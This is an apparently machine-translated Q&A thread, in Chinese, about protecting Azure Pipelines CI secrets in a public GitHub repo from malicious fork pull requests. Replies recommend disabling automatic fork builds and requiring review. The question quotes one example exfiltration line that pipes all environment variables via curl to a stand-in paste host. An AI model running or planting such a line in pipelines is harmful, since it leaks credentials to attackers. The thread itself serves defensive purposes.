Continuous integration 在公共PR上运行Azure管道CI之前运行安全检查

Continuous integration 在公共PR上运行Azure管道CI之前运行安全检查,continuous-integration,azure-pipelines,github-api,devsecops,Continuous Integration,Azure Pipelines,Github Api,Devsecops,我有一份公开回购协议。随机GitHub用户可以自由创建拉请求,这非常好 我的CI管道在repo中的一个名为pipelines.yml(我们使用Azure管道)的普通文件中进行了描述 不幸的是,这意味着随机GitHub用户可以通过创建PR来窃取所有my secret环境变量,在PR中编辑pipelines.yml,并添加bash脚本行,如下所示: export | curl -XPOST 'http://pastebin-bla/xxxx' 或者运行任意代码。对吧? 如何验证恶意PR至少不会更改

我有一份公开回购协议。随机GitHub用户可以自由创建拉请求,这非常好

我的CI管道在repo中的一个名为
pipelines.yml
(我们使用Azure管道)的普通文件中进行了描述

不幸的是,这意味着随机GitHub用户可以通过创建PR来窃取所有my secret环境变量,在PR中编辑
pipelines.yml
,并添加bash脚本行,如下所示:

export | curl -XPOST 'http://pastebin-bla/xxxx'
或者运行任意代码。对吧?

如何验证恶意PR至少不会更改某些关键文件

如何验证恶意PR至少不会更改某些关键文件

恐怕我们不能限制PR,因为它至少不能更改一些关键文件

作为解决方法,我们可以关闭自动fork构建,而是使用pull-request注释作为手动构建这些贡献的一种方式,这使您有机会在触发构建之前查看代码

您可以查看文档以了解更多详细信息


好的,很好。不幸的是,我们并没有使用GH操作,而是使用Azure管道。另一件事,即使我设法保护环境机密,如果他们向pipelines.yml添加行,任意代码执行问题仍然存在。是的,抱歉-Azure pipelines也有同样的保护,尽管:。“我如何验证恶意PR至少不会更改某些关键文件?”-请查看!好吧,我想恶意用户也可以在单元测试中注入任意代码,所以我没有必要尝试在哪些文件可以提交或不能提交的基础上构建ACL。。。因此,我应该将我的问题改为:“如何在运行CI之前要求审查”针对非合作者的PRs?根据上面的链接“您可以关闭自动分叉构建”-您可以在评论下的屏幕截图中看到。哦。。这真是恰到好处。谢谢@jornsharpethank你!我启用了这个,现在我需要找到一种方法来测试它。@sscarduzio,这个问题有更新吗?你解决这个问题了吗?如果没有,请让我知道关于这个问题的最新信息好吗?我有一个问题:PR在确认需要团队成员的评论之前(对于非团队成员的PRs)没有触发管道(请参阅conf:See PR(“节俭地”是我创建的假GH用户)